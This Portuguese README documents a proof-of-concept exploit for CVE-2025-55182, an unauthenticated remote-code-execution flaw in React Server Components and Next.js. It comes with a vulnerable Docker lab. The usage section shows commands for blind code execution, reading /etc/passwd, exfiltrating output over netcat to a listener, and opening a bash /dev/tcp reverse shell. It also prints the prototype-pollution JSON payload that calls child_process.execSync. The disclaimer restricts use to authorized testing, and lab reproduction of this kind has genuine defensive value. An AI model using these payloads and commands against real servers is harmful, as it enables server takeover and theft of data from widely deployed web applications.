
CVE-2025-55182 React2Shell PoC
Um exploit de prova de conceito para CVE-2025-55182, uma vulnerabilidade crítica (CVSS 10.0) de execução remota de código não autenticada em Componentes de Servidor React.
Descoberto por Lachlan Davidson - Divulgado à equipe Meta/React em 29 de novembro de 2025.
A vulnerabilidade existe na lógica de desserialização do protocolo React Flight. Ao enviar um payload malicioso via HTTP POST, um atacante pode obter poluição de protótipo que leva à execução arbitrária de código no servidor.
| Pacote | Versões Vulneráveis |
|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6 |
.
├── exploit.py # exploit script
├── docker-compose.yml # Vulnerable test environment
├── vulnerable-app/ # Vulnerable Next.js application
└── README.md
docker compose up -d
Isso inicia uma aplicação Next.js vulnerável em http://localhost:3000.
python3 exploit.py -u http://localhost:3000 --check
Isso realiza uma verificação não exploratória por indicadores incluindo:
python3 exploit.py -u http://localhost:3000 -c "id"
Executa um comando sem ver a saída. Verifique com:
python3 exploit.py -u http://localhost:3000 -c "id" --exfil <IP>:<PORT>
Seu endereço IP; Porta para escutar
usage: exploit.py [-h] -u URL [-c COMMAND] [--check] [--exfil HOST:PORT]
[--timeout TIMEOUT] [--no-verify]
options:
-u, --url URL Target URL
-c, --command CMD Command to execute
--check Check if vulnerable (non-exploitative)
--exfil HOST:PORT Exfiltrate output to HOST:PORT
--timeout TIMEOUT Request timeout (default: 10)
--no-verify Disable SSL verification
# Check vulnerability
python3 exploit.py -u http://localhost:3000 --check
# Blind RCE
python3 exploit.py -u http://localhost:3000 -c "touch /tmp/pwned"
# RCE with output
python3 exploit.py -u http://localhost:3000 -c "whoami" --exfil 172.17.0.1:9999
# Read files
python3 exploit.py -u http://localhost:3000 -c "cat /etc/passwd" --exfil 172.17.0.1:9999
# Reverse shell
python3 exploit.py -u http://localhost:3000 -c "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\": \"$B0\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('id');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
O exploit corrompe o estado do servidor durante a execução, tornando a exfiltração de resposta in-band não confiável. A flag --exfil usa exfiltração out-of-band:
┌──────────┐ 1. Malicious POST ┌──────────┐
│ Attacker │ ──────────────────► │ Server │
└──────────┘ └──────────┘
▲ │
│ 3. Command output │ 2. RCE executes:
│ via nc │ cmd | nc attacker port
│ ▼
└─────────────────────────────────┘
docker compose down
Esta ferramenta é apenas para testes de segurança autorizados e fins educacionais. Utilize apenas em sistemas para os quais você tenha permissão para testar.